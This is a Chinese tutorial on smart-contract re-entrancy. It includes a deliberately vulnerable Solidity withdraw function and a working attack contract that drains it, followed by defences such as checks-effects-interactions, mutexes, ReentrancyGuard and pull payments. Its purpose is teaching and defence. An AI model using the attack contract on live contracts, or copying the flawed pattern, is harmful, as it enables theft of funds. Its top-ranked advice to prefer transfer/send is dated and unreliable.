智能合约Re-Entrancy重⼊漏洞分析与复现
字数 1195 2025-08-09 13:33:52
智能合约Re-Entrancy重入漏洞分析与防御指南
1. 重入漏洞原理
重入漏洞(Re-Entrancy)是智能合约中最常见且危险的安全漏洞之一。其核心原理是:
- 外部恶意合约回调:当受攻击合约执行外部调用时,恶意合约可以在调用过程中通过fallback函数"重新进入"受攻击合约的函数执行流程
- 执行顺序问题:由于合约状态更新在外部调用之后,攻击者可以在状态更新前多次重入函数
- Gas限制:在gas足够的情况下,合约之间可以相互循环调用,直至达到gas上限
2. 漏洞代码示例
2.1 易受攻击合约(Victim)
pragma solidity ^0.6.10;
contract Victim {
mapping(address => uint) public balances;
address public owner;
constructor() public {
owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
msg.sender.call{value: _amount}(""); // 漏洞点:先转账后更新余额
balances[msg.sender] -= _amount;
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
2.2 攻击合约(Attack)
contract Attack {
Victim public victim;
constructor(address _victimAddress) public {
victim = Victim(_victimAddress);
}
fallback() external payable {
if(address(victim).balance >= 1 ether){
victim.withdraw(1 ether); // 重入攻击点
}
}
function attack() external payable {
require(msg.value >= 1 ether);
victim.deposit{value: 1 ether}();
victim.withdraw(1 ether);
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
3. 攻击流程分析
- 攻击者向Victim合约存入1 ETH
- 调用withdraw函数提取1 ETH
- Victim合约执行转账操作(msg.sender.call)
- 转账触发Attack合约的fallback函数
- fallback函数再次调用Victim合约的withdraw函数
- 由于Victim合约尚未更新余额,检查仍然通过
- 循环执行直到Victim合约余额不足或gas耗尽
4. 关键机制:fallback函数
- 触发条件:当调用不存在的函数或直接向合约转账时触发
- 不同调用方式的gas限制:
send()和transfer():限制2300 gas,仅够记录日志call():传递所有剩余gas,允许复杂操作
- 可重写性:攻击者可以自定义fallback函数实现重入攻击
5. 漏洞复现步骤
5.1 测试环境复现
- 部署Victim合约
- 部署Attack合约,传入Victim合约地址
- 向Victim合约存入至少2 ETH
- 调用Attack合约的attack函数
- 观察合约余额变化
5.2 实际攻击限制
- 重入次数:受gas限制,通常约9次左右
- 失败条件:如果gas耗尽(out of gas),攻击将失败
6. 防御措施
6.1 使用transfer或send代替call
// 安全版本
msg.sender.transfer(_amount);
6.2 遵循Checks-Effects-Interactions模式
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount); // 检查
balances[msg.sender] -= _amount; // 生效(先更新状态)
msg.sender.call{value: _amount}(""); // 交互(最后执行外部调用)
}
6.3 使用互斥锁(Mutex)
bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
require(!reEntrancyMutex);
reEntrancyMutex = true;
require(balances[msg.sender] >= _amount);
msg.sender.call{value: _amount}("");
balances[msg.sender] -= _amount;
reEntrancyMutex = false;
}
6.4 使用OpenZeppelin的ReentrancyGuard
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract SafeContract is ReentrancyGuard {
function safeWithdraw() external nonReentrant {
// 安全函数逻辑
}
}
6.5 使用Pull Payment模式
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/PullPayment.sol";
contract SafeWithdraw is PullPayment {
mapping(address => uint) public balances;
function withdraw(uint _amount) external {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
_asyncTransfer(msg.sender, _amount); // 使用异步转账
}
}
7. 最佳实践总结
- 优先使用transfer/send:限制gas可防止复杂重入攻击
- 严格遵循检查-生效-交互模式:确保状态更新在外部调用前完成
- 考虑使用成熟的安全库:如OpenZeppelin的ReentrancyGuard
- 复杂场景使用Pull Payment:让接收方主动提取资金
- 全面测试:对所有外部调用函数进行重入攻击测试
- 多函数防护:如果使用modifier,确保所有可能破坏不变量的函数都添加防护
通过理解重入漏洞的原理和掌握这些防御措施,开发者可以显著提高智能合约的安全性,避免资金损失风险。